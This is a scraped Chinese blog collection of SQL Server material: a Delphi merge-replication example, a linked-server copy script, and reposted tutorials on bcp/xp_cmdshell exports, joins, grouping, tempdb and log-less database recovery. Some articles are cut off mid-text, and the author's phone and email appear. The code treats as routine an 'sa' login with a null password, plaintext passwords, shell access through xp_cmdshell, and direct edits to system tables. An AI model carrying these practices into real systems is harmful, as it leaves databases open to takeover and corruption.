Delphi实现sql 复制编程

{
Copyright (c) 咏南工作室 2006
作者: 陈新光
EMail:hnxxcxg@yahoo.com.cn
QQ:   254072148
手机: 13025531017
TODO: 断网收银以及总部和各门店间的数据通讯(通过复制方法实现)
       作为备份方案亦可
}

{
.首先要安装ActivX控件:component->import activex control->microsoft sql merge control 8.0(version 1.0)-> install
.sql server、oracle 等大型DBMS都提供复制功能。且复制可以在异种DB间进行。可以说非常具有通用性。
.本例:服务器端安装SQL SERVER2000,收银机安装ACCESS2000,合并复制方式。
.采用在客户端编程的方式,把一些设置放在指定的INI文件中,灵活而方便。
}

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, OleCtrls, SQLMERGXLib_TLB, StdCtrls, Buttons;

type
  TForm1 = class(TForm)
    merge: TSQLMerge;
    BitBtn1: TBitBtn;
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

//在客户端放置一个“同步”按钮
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
  try
    with merge do
    begin
      //发布服务器
      Publisher := 'cxg';              //出版服务器名
      PublisherDatabase := 'ynckjxc';  //发布数据库
      Publication := 'distribute';             //发布
      PublisherSecurityMode := NT_AUTHENTICATION;  //安全验证

      //分发服务器
      Distributor := 'cxg';            //分发服务器名
      DistributorSecurityMode := NT_AUTHENTICATION;
    
      //订阅服务器
      Subscriber := 'cxg';            //订阅服务器名
      SubscriberDatabasePath := 'c:\data\ynjxc.mdb'; //订阅数据库
      SubscriberDatasourceType := JET4_DATABASE;
      SubscriberSecurityMode := DB_AUTHENTICATION;
      SubscriberLogin := 'admin';
      SubscriberPassword := '';

      //订阅方式
      SubscriptionType := ANONYMOUS;         //匿名订阅
      SynchronizationType := AUTOMATIC;

      //发布服务器和订阅服务器间双向同步
      Initialize;
      Run;
      Terminate;
    end;
    showmessage('成功');
  except
    showmessage('失败');
  end;
end;

end.  



2006-9-30 14:22:17    
 查看评语»»»     

 2007-9-11 18:28:26    远程数据传输(数据库链接)--Author: CXG
--Todo:   远程数据传输(数据库链接)
---------------------------------------------------------------------------------------------------
     --add remote server link
     --star msdtc first
     execute   sp_addlinkedserver     @server   =     '192.168.0.45'   
     execute   sp_addlinkedsrvlogin   @rmtsrvname   =     '192.168.0.45',   
               @useself   =     false   ,   
               @locallogin   =   'sa',       
               @rmtuser   =     'sa'   ,   
               @rmtpassword   =     null
 go
---------------------------------------------------------------------------------------------------
     insert into [192.168.0.45].pos_bak.dbo.unit select * from pos_yn.dbo.unit 
 go
---------------------------------------------------------------------------------------------------
--drop remote server link
execute sp_droplinkedsrvlogin     @rmtsrvname   =   '192.168.0.45',   @locallogin   =   'sa'   
execute sp_dropserver     @server   =     '192.168.0.45'
 go 

 
 2007-9-12 12:18:21    安装SQL提示安装不上,挂起之类安装SQL提示安装不上,挂起之类
 
TYPE:本站原创文章 TIME:2006-6-7 
AUTHOR:赵阳 URL:N/A 
HIT:563  DAYHIT:1  WEEKHIT:562   
 
关于安装SQL数据库出错问题 

安装数据库时,提示某个程序以前安装过,处于文件挂起状态,要安装需重新启动计算机.可是重新启动后还是老样子,解决如下: 

打开注册表编辑器,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager中找到PendingFileRenameOperations项目,并删除它。这样就可以清除安装暂挂项目。 

1)添加/删除程序中彻底删除sql server。 

2)将没有删除的sql server目录也删除掉。 

3)打开注册表编辑器,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager中找到PendingFileRenameOperations项目,并删除它。这样就可以清除安装暂挂项目。 

4)删除注册表中跟sql server相关的键。 

其实估计只要做第3步就可以搞定,这样就可以清除安装暂挂项目。自己是先走了1,2,4,最后做了3才搞定。所以估计3才是最关键的。 
  

 
 2007-9-12 12:20:20    SQL Server数据导入导出技术概述与比较SQL Server数据导入导出技术概述与比较 


当我们建立一个数据库时,并且想将分散在各处的不同类型的数据库分类汇总在这个新建的数据库中时,尤其是在进行数据检验、净化和转换时,将会面临很大的挑战。幸好SQL Server为我们提供了强大、丰富的数据导入导出功能,并且在导入导出的同时可以对数据进行灵活的处理。 

在SQL Server中主要有三种方式导入导出数据:使用Transact-SQL对数据进行处理;调用命令行工具bcp处理数据;使用数据转换服务(DTS)对数据进行处理。这三种方法各有其特点,下面就它们的主要特点进行比较。 

一、使用方式的比较 

1. 使用Transact-SQL进行数据导入导出 

我们很容易看出,Transact-SQL方法就是通过SQL语句方式将相同或不同类型的数据库中的数据互相导入导出或者汇集在一处的方法。如果是在不同的SQL Server数据库之间进行数据导入导出,那将是非常容易做到的。一般可使用SELECT INTO FROM和INSERT INTO。使用 SELECT INTO FROM时INTO后跟的表必须存在,也就是说它的功能是在导数据之前先建立一个空表,然后再将源表中的数据导入到新建的空表中,这就相当于表的复制(并不会复制表的索引等信息)。而INSERT INTO的功能是将源数据插入到已经存在的表中,可以使用它进行数据合并,如果要更新已经存在的记录,可以使用UPDATE。 


SELECT * INTO table2 FROM table1        --table1和table2的表结构相同
INSERT INTO table2 SELECT * FROM table3 --table2和table3的表结构相同
 

当在异构数据库之间的进行数据导入导出时,情况会变得复杂得多。首先要解决的是如何打开非SQL Server数据库的问题。 

在SQL Server中提供了两个函数可以根据各种类型数据库的OLE DB Provider打开并操作这些数据库,这两个函数是OPENDATASOURCE和OPENROWSET。它们的功能基本上相同,不同之处主要有两点。 

(1) 调用方式不同。 

OPENDATASOURCE的参数有两个,分别是OLE DB Provider和连接字符串。使用OPENDATASOURCE只相当于引用数据库或者是服务(对于SQL Server、Oracle等数据库来说)。要想引用其中的数据表或视图,必须在OPENDATASOURCE(...)后进行引用。 

在SQL Server中通过OPENDATASOURCE查询Access数据库abc.mdb中的table1表 


SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0',
'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=abc.mdb;Persist Security 
Info=False')...
table1
 

OPENROWSET相当于一个记录集,可以将直接当成一个表或视图使用。 

在SQL Server中通过OPENROWSETE查询Access数据库abc.mdb中的table1表 


SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 'abc.mdb';
'admin';'','SELECT * FROM table1')
 

(2) 灵活度不同。 

OPENDATASOURCE只能打开相应数据库中的表或视图,如果需要过滤的话,只能在SQL Server中进行处理。而OPENROWSET可以在打开数据库的同时对其进行过滤,如上面的例子,在OPENROWSET中可以使用SELECT * FROM table1对abc.mdb中的数据表进行查询,而OPENDATASOURCE只能引用table1,而无法查询table1。因此,OPENROWSET比较OPENDATASOURCE更加灵活。 

2. 使用命令行bcp导入导出数据 

很多大型的系统不仅仅提供了友好的图形用户接口,同时也提供了命令行方式对系统进行控制。在SQL Server中除了可以使用SQL语句对数据进行操作外,还可以使用一个命令行工具bcp对数据进行同样的操作。 

bcp是基于DB-Library 客户端库的工具。它的功能十分强大,bcp能够以并行方式将数据从多个客户端大容量复制到单个表中,从而大大提高了装载效率。但在执行并行操作时要注意的是只有使用基于 ODBC 或 SQL OLE DB 的 API 的应用程序才可以执行将数据并行装载到单个表中的操作。 

bcp可以将SQL Server中的数据导出到任何OLE DB所支持的数据库的,如下面的语句是将authors表导出到excel文件中 


bcp pubs.dbo.authors out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P"password"
 

bcp不仅能够通过命令行执行,同时也可以通过SQL执行,这需要一个系统存储过程xp_cmdshell来实现,如上面的命令可改写为如下形式。 


EXEC master..xp_cmdshell 'bcp pubs.dbo.authors out 
c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P"password"'
 

3. 使用数据转换服务(DTS)导入导出数据 

DTS是SQL Server中导入导出数据的核心,它除有具有SQL和命令行工具bcp相应的功能外,还可以灵活地通过VBScript、JScript等脚本语言对数据进行检验、净化和转换。 

SQL Server为DTS提供了图形用户接口,用户可以使用图形界面导入导出数据,并对数据进行相应的处理。同时,DTS还以com组件的形式提供编程接口,也就是说任何支持com组件的开发工具都可以利用com组件使用DTS所提供的功能。DTS在SQL Server中可以 

 
 2007-9-12 12:21:05    SQL Server中六种数据移动的方法SQL Server中六种数据移动的方法 


1.通过工具DTS的设计器进行导入或导出 

DTS的设计器功能强大,支持多任务,也是可视化界面,容易操作,但知道的人一般不多,如果只是进行SQL Server数据库中部分表的移动,用这种方法最好,当然,也可以进行全部表的移动。在SQL Server Enterprise Manager中,展开服务器左边的+,选择数据库,右击,选择All tasks/Import Data...(或All tasks/Export Data...),进入向导模式,按提示一步一步走就行了,里面分得很细,可以灵活的在不同数据源之间复制数据,很方便的。而且可以另存成DTS包,如果以后还有相同的复制任务,直接运行DTS包就行,省时省力。也可以直接打开DTS设计器,方法是展开**********下面的Data Transformation Services,选Local Packages,在右边的窗口中右击,选New Package,就打开了DTS设计器。值得注意的是:如果源数据库要拷贝的表有外键,注意移动的顺序,有时要分批移动,否则外键主键,索引可能丢失,移动的时候选项旁边的提示说的很明白,或者一次性的复制到目标数据库中,再重新建立外键,主键,索引。 

其实建立数据库时,建立外键,主键,索引的文件应该和建表文件分开,而且用的数据文件也分开,并分别放在不同的驱动器上,有利于数据库的优化。 

2. 利用Bcp工具 

这种工具虽然在SQL Server7的版本中不推荐使用,但许多数据库管理员仍很喜欢用它,尤其是用过SQL Server早期版本的人。Bcp有局限性,首先它的界面不是图形化的,其次它只是在SQL Server的表(视图)与文本文件之间进行复制,但它的优点是性能好,开销小,占用内存少,速度快。有兴趣的朋友可以查参考手册。 

3. 利用备份和恢复 

先对源数据库进行完全备份,备份到一个设备(device)上,然后把备份文件复制到目的服务器上(恢复的速度快),进行数据库的恢复操作,在恢复的数据库名中填上源数据库的名字(名字必须相同),选择强制型恢复(可以覆盖以前数据库的选项),在选择从设备中进行恢复,浏览时选中备份的文件就行了。这种方法可以完全恢复数据库,包括外键,主键,索引。 

4. 直接拷贝数据文件 

把数据库的数据文件(*.mdf)和日志文件(*.ldf)都拷贝到目的服务器,在SQL Server Query Analyzer中用语句进行恢复: 


EXEC sp_attach_db @dbname = ’test’,
@filename1 = ’d:mssql7data est_data.mdf’,
@filename2 = ’d:mssql7data est_log.ldf’
 

这样就把test数据库附加到SQL Server中,可以照常使用。如果不想用原来的日志文件,可以用如下的命令: 


EXEC sp_detach_db @dbname = ’test’
EXEC sp_attach_single_file_db @dbname = ’test’,
@physname = ’d:mssql7data est_data.mdf’
 

这个语句的作用是仅仅加载数据文件,日志文件可以由SQL Server数据库自动添加,但是原来的日志文件中记录的数据就丢失了。 

5. 在应用程序中定制 

可以在应用程序(PB、VB)中执行自己编写的程序,也可以在Query Analyzer中执行,这种方法比较灵活,其实是利用一个平台连接到数据库,在平台中用的主要时SQL语句,这种方法对数据库的影响小,但是如果用到远程链接服务器,要求网络之间的传输性能好,一般有两种语句: 

1>

select ... into new_tablename where ...
 

2> 


insert (into) old_tablename select ... from ... where ...
 

区别是前者把数据插入一个新表(先建立表,再插入数据),后者是把数据插入已经存在的一个表中,我个人喜欢后者,因为在编程的结构上,应用的范围上,第二条语句强于前者。 

6. SQL Server的复制功能 

SQL Server提供了强大的数据复制功能,也是最不易掌握的,具体应用请参考相关资料,值得注意的是要想成功进行数据的复制工作,有些条件是必不可少的: 

1>SQL Server Agent必须启动,MSDTC必须启动。 

2>所有要复制的表必须有主键。 

3>如果表中有text或image数据类型,必须使用with log选项,不能使用with no_log选项。 

另外max text repl size选项控制可以复制的文本和图像数据的最大规模,超过这个限制的操作将失败。 

4>在要进行复制的计算机上,应该至少是隐含共享,即共享名是C$或D$…。 

5>为SQL Server代理使用的Windows NT帐号不能是一个本地的系统帐号,因为本地的系统帐号不允许网络存取。 

6>如果参与复制的服务器在另外的计算机域中,必须在这些域之间建立信任关系。本人从事的工作是数据库管理员,要维护多台服务器中的数据库,经常把某台服务器中的某个数据库移动到另外一台服务器,对数据的移动有些心得体会,希望和大家共同交流 

  

 
 2007-9-12 12:21:55    SQL Server数据导入导出工具BCP详解SQL Server数据导入导出工具BCP详解 


bcp是SQL Server中负责导入导出数据的一个命令行工具,它是基于DB-Library的,并且能以并行的方式高效地导入导出大批量的数据。bcp可以将数据库的表或视图直接导出,也能通过SELECT FROM语句对表或视图进行过滤后导出。在导入导出数据时,可以使用默认值或是使用一个格式文件将文件中的数据导入到数据库或将数据库中的数据导出到文件中。下面将详细讨论如何利用bcp导入导出数据。 

1. bcp的主要参数介绍 

bcp共有四个动作可以选择。 

(1) 导入。 

这个动作使用in命令完成,后面跟需要导入的文件名。 

(2) 导出。 

这个动作使用out命令完成,后面跟需要导出的文件名。 

(3) 使用SQL语句导出。 

这个动作使用queryout命令完成,它跟out类似,只是数据源不是表或视图名,而是SQL语句。 

(4) 导出格式文件。 

这个动作使用format命令完成,后而跟格式文件名。 

下面介绍一些常用的选项: 

-f format_file 

format_file表示格式文件名。这个选项依赖于上述的动作,如果使用的是in或out,format_file表示已经存在的格式文件,如果使用的是format则表示是要生成的格式文件。 

-x 

这个选项要和-f format_file配合使用,以便生成xml格式的格式文件。 

-F first_row 

指定从被导出表的哪一行导出,或从被导入文件的哪一行导入。 

-L last_row 

指定被导出表要导到哪一行结束,或从被导入文件导数据时,导到哪一行结束。 

-c 

使用char类型做为存储类型,没有前缀且以"\t"做为字段分割符,以"\n"做为行分割符。 

-w 

和-c类似,只是当使用Unicode字符集拷贝数据时使用,且以nchar做为存储类型。 

-t field_term 

指定字符分割符,默认是"\t"。 

-r row_term 

指定行分割符,默认是"\n"。 

-S server_name[ \instance_name] 

指定要连接的SQL Server服务器的实例,如果未指定此选项,bcp连接本机的SQL Server默认实例。如果要连接某台机器上的默认实例,只需要指定机器名即可。 

-U login_id 

指定连接SQL Sever的用户名。 

-P password 

指定连接SQL Server的用户名密码。 

-T 

指定bcp使用信任连接登录SQL Server。如果未指定-T,必须指定-U和-P。 

-k 

指定空列使用null值插入,而不是这列的默认值。 

2. 如何使用bcp导出数据 

(1) 使用bcp导出整个表或视图。 

bcp AdventureWorks.sales.currency out c:\currency1.txt -c -U"sa" -P"password" --使用密码连接或bcp AdventureWorks.sales.currency out c:\currency1.txt -c -T --使用信任连接 

下面是上述命令执行后的输出结果 

Starting copy... 

105 rows copied. 

Network packet size (bytes): 4096 

Clock Time (ms.) Total : 10 Average : (10500.00 rows per sec.) 

下面是currency1.txt的部分内容 

AED Emirati Dirham 1998-06-01 00:00:00.000 

AFA Afghani 1998-06-01 00:00:00.000 

... ... ... 

... ... ... 

ZWD Zimbabwe Dollar 1998-06-01 00:00:00.000 

在使用密码登录时需要将-U后的用户名和-P后的密码加上双引号。 

注:bcp除了可以在控制台执行外,还可以通过调用SQL Server的一个系统存储过程xp_cmdshell以SQL语句的方式运行bcp。如上述第一条命令可改写为 

EXEC master..xp_cmdshell 'bcp AdventureWorks.sales.currency out c:\currency1.txt -c -U"sa" -P"password"' 

执行xp_cmdshell后,返回信息以表的形式输出。为了可以方便地在SQL中执行bcp,下面的命令都使用xp_cmdshell执行bcp命令。 

(2) 对要导出的表进行过滤。 

bcp不仅可以接受表名或视图名做为参数,也可以接受SQL做为参数。通过SQL语句可以对要导出的表进行过滤,然后导出过滤后的记录。 

EXEC master..xp_cmdshell 'bcp "SELECT TOP 20 * FROM AdventureWorks.sales.currency" queryout c:\currency2.txt -c -U"sa" -P"password"' 

bcp还可以通过简单地设置选项对导出的行进行限制。 

这条命令使用了两个参数-F 10和-L 13,表示从SE 

EXEC master..xp_cmdshell 'bcp "SELECT TOP 20 * FROM AdventureWorks.sales.currency" queryout c:\currency2.txt -F 10 -L 13 -c -U"sa" -P"password"' 

LECT TOP 20 * FROM AdventureWorks.sales.currency所查出来的结果中取第10条到13条记录进行导出。 

3. 如何使用bcp导出格式文件 

bcp不仅可以根据表、视图导入导出数据,还可以配合格式文件对导入导出数据进行限制。格式文件以纯文本文件形式存在,分为一般格式和xml格式。用户可以手工编写格式文件,也可以通过bcp命令根据表、视图自动生成格式文件。 

EXEC master..xp_cmdsh 

 
 2007-9-12 12:24:34    如何在SQL Server中快速删除重复记录如何在SQL Server中快速删除重复记录 


开发人员的噩梦——删除重复记录 

想必每一位开发人员都有过类似的经历,在对数据库进行查询或统计的时候不时地会碰到由于表中存在重复的记录而导致查询和统计结果不准确。解决该问题的办法就是将这些重复的记录删除,只保留其中的一条。 

在SQL Server中除了对拥有十几条记录的表进行人工删除外,实现删除重复记录一般都是写一段代码,用游标的方法一行一行检查,删除重复的记录。因为这种方法需要对整个表进行遍历,所以对于表中的记录数不是很大的时候还是可行的,如果一张表的数据达到上百万条,用游标的方法来删除简直是个噩梦,因为它会执行相当长的一段时间。 

四板斧——轻松消除重复记录 

殊不知在SQL Server中有一种更为简单的方法,它不需要用游标,只要写一句简单插入语句就能实现删除重复记录的功能。为了能清楚地表述,我们首先假设存在一个产品信息表Products,其表结构如下: 


CREATE TABLE Products ( 
ProductID int, 
ProductName nvarchar (40), 
Unit char(2), 
UnitPrice money 
)
 

表中的数据如图1: 

图1中可以看出,产品Chang和Tofu的记录在产品信息表中存在重复。现在要删除这些重复的记录,只保留其中的一条。步骤如下: 

第一板斧——建立一张具有相同结构的临时表 


CREATE TABLE Products_temp ( 
ProductID int, 
ProductName nvarchar (40), 
Unit char(2), 
UnitPrice money 
)
 

第二板斧——为该表加上索引,并使其忽略重复的值 

方法是在企业管理器中找到上面建立的临时表Products _temp,单击鼠标右键,选择所有任务,选择管理索引,选择新建。如图2所示。 

按照图2中圈出来的地方设置索引选项。 

第三板斧——拷贝产品信息到临时表 


insert into Products_temp Select * from Products
 

此时SQL Server会返回如下提示: 


服务器: 消息 3604,级别 16,状态 1,行 1 
已忽略重复的键。
 

它表明在产品信息临时表Products_temp中不会有重复的行出现。 

第四板斧——将新的数据导入原表 

将原产品信息表Products清空,并将临时表Products_temp中数据导入,最后删除临时表 


Products_temp。 
delete Products 
insert into Products select * from Products_temp 
drop table Products_temp
 

这样就完成了对表中重复记录的删除。无论表有多大,它的执行速度都是相当快的,而且因为几乎不用写语句,所以它也是很安全的。 

小提示:上述方法中删除重复记录取决于创建唯一索引时选择的字段,在实际的操作过程中读者务必首先确认创建的唯一索引字段是否正确,以免将有用的数据删除。
  

 
 2007-9-12 12:25:51    深入浅出SQL教程之嵌套SELECT语句深入浅出SQL教程之嵌套SELECT语句 


嵌套SELECT语句也叫子查询,形如: 


SELECT name FROM bbc WHERE region = (SELECT region FROM bbc WHERE name = 'Brazil')
 

一个 SELECT 语句的查询结果可以作为另一个语句的输入值。上面的SQL语句作用为获得和'Brazil'(巴西)同属一个地区的所有国家。子查询不但可以出现在Where子句中,也可以出现在from子句中,作为一个临时表使用,也可以出现在select list中,作为一个字段值来返回。本节我们仅介绍的Where子句中的子查询。 

在Where子句中使用子查询,有一个在实际使用中容易犯的错在这里说明一下。通常,就像上面的例子一样,嵌套的语句总是和一个值进行比较。 语句 (SELECT region FROM bbc WHERE name = 'Brazil') 应该仅返回一个地区,即 'Americas'. 但如果我们在表中再插入一条地区为欧洲,国家名称为Brazil的记录,那会发生什么情况? 

这将会导致语句的运行时错误.因为这个SQL语句的语法是正确的,所以数据库引擎就开始执行,但当执行到外部的语句时就出错了。因为这时的外部语句就像好像是 SELECT name FROM bbc WHERE region = ('Americas', 'Europe'),这个语句当然报错了。那么有没有办法解决这个问题呢,当然有。有一些SQL查询条件允许对列表值(即多个值)进行操作。 

例如"IN" 操作符,可以测试某个值是否在一个列表中。 

下面的语句就可以安全的执行而不出错,不管表中有多少条包含Brazils的记录。 


SELECT name FROM bbc WHERE region IN 
(SELECT region FROM bbc WHERE name = 'Brazil')
 

OK,让我们再看看一些具体的实例。 

一、给出人口多于Russia(俄国)的国家名称 


SELECT name FROM bbc
WHERE population>
(SELECT population FROM bbc
WHERE name='Russia')
 

二、给出'India'(印度), 'Iran'(伊朗)所在地区的所有国家的所有信息 


SELECT * FROM bbc
WHERE region IN
(SELECT region FROM bbc
WHERE name IN ('India','Iran'))
 

三、给出人均GDP超过'United Kingdom'(英国)的欧洲国家. 


SELECT name FROM bbc
WHERE region='Europe' AND gdp/population >
(SELECT gdp/population FROM bbc
WHERE name='United Kingdom')
 
  

 
 2007-9-12 12:26:29    深入浅出SQL之左连接、右连接和全连接深入浅出SQL之左连接、右连接和全连接 



我们介绍了表连接,更确切的说是inner joins內连接。內连接仅选出两张表中互相匹配的记录.因此,这会导致有时我们需要的记录没有包含进来。 

为更好的理解这个概念,我们介绍两个表作演示。苏格兰议会中的政党表(party)和议员表(msp)。 


party(Code,Name,Leader)
Code: 政党代码
Name: 政党名称
Leader: 政党领袖
 


msp(Name,Party,Constituency)
Name: 议员名
Party: 议员所在政党代码
Constituency: 选区
 

在介绍左连接、右连接和全连接前,有一个数据库中重要的概念要介绍一下,即空值(NULL)。有时表中,更确切的说是某些字段值,可能会出现空值, 这是因为这个数据不知道是什么值或根本就不存在。 

空值不等同于字符串中的空格,也不是数字类型的0。因此,判断某个字段值是否为空值时不能使用=,<>这些判断符。必需有专用的短语:IS NULL 来选出有空值字段的记录,同理,可用 IS NOT NULL 选出不包含空值的记录。 

例如:下面的语句选出了没有领导者的政党。(不要奇怪,苏格兰议会中确实存在这样的政党) 


SELECT code, name FROM party
WHERE leader IS NULL
 

又如:一个议员被开除出党,看看他是谁。(即该议员的政党为空值) 


SELECT name FROM msp 
WHERE party IS NULL
 

好了,让我们言归正传,看看什么叫左连接、右连接和全连接。A left join(左连接)包含所有的左边表中的记录甚至是右边表中没有和它匹配的记录。同理,也存在着相同道理的 right join(右连接),即包含所有的右边表中的记录甚至是左边表中没有和它匹配的记录。 

而full join(全连接)顾名思义,左右表中所有记录都会选出来。讲到这里,有人可能要问,到底什么叫:包含所有的左边表中的记录甚至是右边表中没有和它匹配的记录。 

我们来看一个实例: 


SELECT msp.name, party.name
FROM msp JOIN party ON party=code
 

这个是我们上一节所学的Join(注意:也叫inner join),这个语句的本意是列出所有议员的名字和他所属政党。 

很遗憾,我们发现该查询的结果少了两个议员:Canavan MSP, Dennis。为什么,因为这两个议员不属于任何政党,即他们的政党字段(Party)为空值。那么为什么不属于任何政党就查不出来了?这是因为空值在作怪。因为议员表中政党字段(Party)的空值在政党表中找不到对应的记录作匹配,即FROM msp JOIN party ON party=code 没有把该记录连接起来,而是过滤出去了。在该短语中,msp在Join的左边,所有称为左表。party在Join的右边,所有称为右表。 

现在再看看这句话,“包含所有的左边表中的记录甚至是右边表中没有和它匹配的记录”,意思应该很明白了吧。执行下面这个语句,那两个没有政党的议员就漏不了了。 


SELECT msp.name, party.name
FROM msp LEFT JOIN party ON party=code
 

关于右连接,看看这个查询就明白了: 


SELECT msp.name, party.name
FROM msp RIGHT JOIN party ON msp.party=party.code
 

这个查询的结果列出所有的议员和政党,包含没有议员的政党,但不包含没有政党的议员。 那么既要包含没有议员的政党,又要包含没有政党的议员该怎么办呢,对了,全连接(full join)。 


SELECT msp.name, party.name
FROM msp FULL JOIN party ON msp.party=party.code
 
  

 
 2007-9-12 12:29:18    分组统计分组统计


在介绍GROUP BY 和 HAVING 子句前,我们必需先讲讲sql语言中一种特殊的函数:聚合函数,例如SUM, COUNT, MAX, AVG等。这些函数和其它函数的根本区别就是它们一般作用在多条记录上。 

SELECT SUM(population) FROM bbc 

这里的SUM作用在所有返回记录的population字段上,结果就是该查询只返回一个结果,即所有国家的总人口数。 

通过使用GROUP BY 子句,可以让SUM 和 COUNT 这些函数对属于一组的数据起作用。当你指定 GROUP BY region 时, 属于同一个region(地区)的一组数据将只能返回一行值,也就是说,表中所有除region(地区)外的字段,只能通过 SUM, COUNT等聚合函数运算后返回一个值。 

HAVING子句可以让我们筛选成组后的各组数据,WHERE子句在聚合前先筛选记录.也就是说作用在GROUP BY 子句和HAVING子句前,而 HAVING子句在聚合后对组记录进行筛选。 

让我们还是通过具体的实例来理解GROUP BY 和 HAVING 子句,还采用第三节介绍的bbc表。 

SQL实例: 

一、显示每个地区的总人口数和总面积: 


SELECT region, SUM(population), SUM(area)
FROM bbc
GROUP BY region
 

先以region把返回记录分成多个组,这就是GROUP BY的字面含义。分完组后,然后用聚合函数对每组中的不同字段(一或多条记录)作运算。 

二、 显示每个地区的总人口数和总面积.仅显示那些面积超过1000000的地区。 


SELECT region, SUM(population), SUM(area)
FROM bbc
GROUP BY region
HAVING SUM(area)>1000000
 

在这里,我们不能用where来筛选超过1000000的地区,因为表中不存在这样一条记录。 

相反,HAVING子句可以让我们筛选成组后的各组数据。 
  

 
 2007-9-12 12:29:59    如何对SQL Server中的tempdb如何对SQL Server中的tempdb 


SQL Server会自动创建一个名为tempdb的数据库作为工作空间使用,当您在存储过程中创建一个临时表格时,比如(CREATE TABLE #MyTemp),无论您正在使用哪个数据库,SQL数据库引擎都会将这个表格创建在tempdb数据库中。 

而且,当您对大型的结果集进行排序,比如使用ORDER BY或GROUP BY或UNION或执行一个嵌套的SELECT时,如果数据量超过了系统内存容量,SQL数据库引擎就会在tempdb中创建工作表格。在您运行DBCC REINDEX或者向现有的表格中添加集群序列时, SQL数据库引擎同样会使用tempdb。实际上,任何针对大型表格的ALTER TABLE命令都会在tempdb中吃掉大量的磁盘空间。 

在理想状态下,SQL会在完成指定操作后自动清理,并销毁这些临时表格,但是,很多问题都会导致错误。比如,您的代码创建了一个事务,但是却没能执行或重新运行,那么这些孤儿对象将遗留在tempdb中。而且,对大型数据库运行DBCC CHECK时,它还会消耗掉大量的空间,您往往会发现tempdb比设想的要大很多,甚至还会收到SQL即将用完磁盘空间的出错信息。 

您有很多方法可以来修正这一情况,但从长远看来,您需要执行其它的步骤来保证正常使用。 

为tempdb“减肥”最简单的办法就是关闭SQL数据库引擎然后重新启动,但是在重要的任务中,这样做可能难度很大;另一方面,如果您已经处于无法承受的状态,那么我的建议就是将这个坏消息告知您的上司,然后开始操作。 

如果您幸运拥有另外一块磁盘可以用来放置tempdb,可以进行如下的操作: 


USE master
GO
ALTER DATABASE tempdb modify file (name = tempdev, filename ='NewDrive:Pathtempdb.mdf')
GO
ALTER DATABASE tempdb modify file (name = templog, filename ='NewDrive:Pathtemplog.ldf')
GO
 

还有三项关于tempdb的属性应该检查:自动增长标记,初始大小和恢复模式,以下是关于这些属性的小窍门: 

自动增长标记:记住将这个标记设为True。 

初始大小:tempdb的初始大小要根据常用的工作负载来设定,如果有很多用户在使用GROUP BY、ORDER BY或者对大型表格进行聚合操作,那么您的常用工作负载会相当大。如果服务器脱机时,您可能需要检查日志文件与数据文件是否位于同一磁盘,如果这样的话,应当将需要将它们转移到新的磁盘上,您只需指明相应的数据库并使用相同的命令即可。 

恢复模式:将恢复模式设定为True意味着让SQL自动截去tempdb的日志文件(在使用了每个表格之后),要找出tempdb所使用的恢复模式,可以使用如下命令: 


SELECT DATABASEPROPERTYEX('tempdb','recovery')
 

恢复模式有三种选择:简单、完整或大量记录(bulk-logged),如要改变设置,可以使用以下命令:

ALTER DATABASE tempdb SET RECOVERY SIMPLE
 

这些步骤可以优化您系统中使用的tempdb,除了解决磁盘空间问题外,您还会发现SQL Server系统性能的提升。 

  

 
 2007-9-12 12:31:57    SQL Server:无日志恢复数据库SQL Server:无日志恢复数据库 


数据库日志文件的误删或别的原因引起数据库日志的损坏 


方法一 


1.新建一个同名的数据库 


2.再停掉sql server(注意不要分离数据库) 


3.用原数据库的数据文件覆盖掉这个新建的数据库 


4.再重启sql server 


5.此时打开企业管理器时会出现置疑,先不管,执行下面的语句(注意修改其中的数据库名) 


6.完成后一般就可以访问数据库中的数据了,这时,数据库本身一般还要问题,解决办法是,利用 


数据库的脚本创建一个新的数据库,并将数据导进去就行了. 


USE MASTER 


GO 


SP_CONFIGURE 'ALLOW UPDATES',1 RECONFIGURE WITH OVERRIDE 


GO 


UPDATE SYSDATABASES SET STATUS =32768 WHERE NAME='置疑的数据库名' 


Go 


sp_dboption '置疑的数据库名', 'single user', 'true' 


Go 


DBCC CHECKDB('置疑的数据库名') 


Go 


update sysdatabases set status =28 where name='置疑的数据库名' 


Go 


sp_configure 'allow updates', 0 reconfigure with override 


Go 


sp_dboption '置疑的数据库名', 'single user', 'false' 


Go 


方法二 


事情的起因 


昨天,系统管理员告诉我,我们一个内部应用数据库所在的磁盘空间不足了。我注意到数据库事件日志文件XXX_Data.ldf文件已经增长到了3GB,于是我决意缩小这个日志文件。经过收缩数据库等操作未果后,我犯了一个自进入行业以来的最大最愚蠢的错误:竟然误删除了这个日志文件!后来我看到所有论及数据库恢复的文章上都说道:“无论如何都要保证数据库日志文件存在,它至关重要”,甚至微软甚至有一篇KB文章讲如何只靠日志文件恢复数据库的。我真是不知道我那时候是怎么想的?! 


这下子坏了!这个数据库连不上了,企业管理器在它的旁边写着“(置疑)”。而且最要命的,这个数据库从来没有备份了。我唯一找得到的是迁移半年前的另外一个数据库服务器,应用倒是能用了,但是少了许多记录、表和存储过程。真希望这只是一场噩梦! 


没有效果的恢复步骤 


附加数据库 


_Rambo讲过被删除日志文件中不存在活动日志时,可以这么做来恢复: 


1,分离被置疑的数据库,可以使用sp_detach_db 


2,附加数据库,可以使用sp_attach_single_file_db 


但是,很遗憾,执行之后,SQL Server质疑数据文件和日志文件不符,所以无法附加数据库数据文件。 


DTS数据导出 


不行,无法读取XXX数据库,DTS Wizard报告说“初始化上下文发生错误”。 


紧急模式 


怡红公子讲过没有日志用于恢复时,可以这么做: 


1,把数据库设置为emergency mode 


2,重新建立一个log文件 


3,把SQL Server 重新启动一下 


4,把应用数据库设置成单用户模式 


5,做DBCC CHECKDB 


6,如果没有什么大问题就可以把数据库状态改回去了,记得别忘了把系统表的修改选项关掉 


